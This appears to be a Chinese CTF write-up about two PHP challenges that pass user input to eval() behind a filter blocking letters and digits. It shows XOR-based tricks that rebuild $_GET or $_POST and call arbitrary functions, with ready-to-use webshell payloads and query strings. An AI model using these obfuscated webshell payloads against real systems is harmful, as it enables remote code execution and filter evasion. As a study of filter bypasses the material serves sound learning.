记录两个花式构造webshell

主要是两道题目代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php


include 'flag.php';
if(isset($_GET['t'])){
$_COOKIE['bash_token'] = $_GET['t'];
}else{
die("Token Lost.");
}
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

http://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

解析

首先这里利用的是异或操作,当两个字符串异或的时候会将其转成二进制再进行异或

1
2
3
4
"#"   二进制:00100011
"|" 二进制:01111100

异或完:01011111 及 _

对于第一道题来说可以使用下划线

1
2
3
4
5
6
7
8
9
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

这里构造出来的可以传参的,但是对于这题来说不需要构造$_POST[1]就可以拿到flag。

{}是要告诉php括起来的要当变量来处理。

如果长度还有限制的话可以使用

1
2
3
4
5
php > echo "`{{{"^"?<>/";
_GET


?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

少了拼接,减少了不少字符。

第二道题目的情况是禁了下划线,这里我构造的payload的是

1
${"`{{{"^"?<>/"}[("#"^"|")]();&_getFlag

长度只有30,如果是构造可以传参数的话就会更长一些。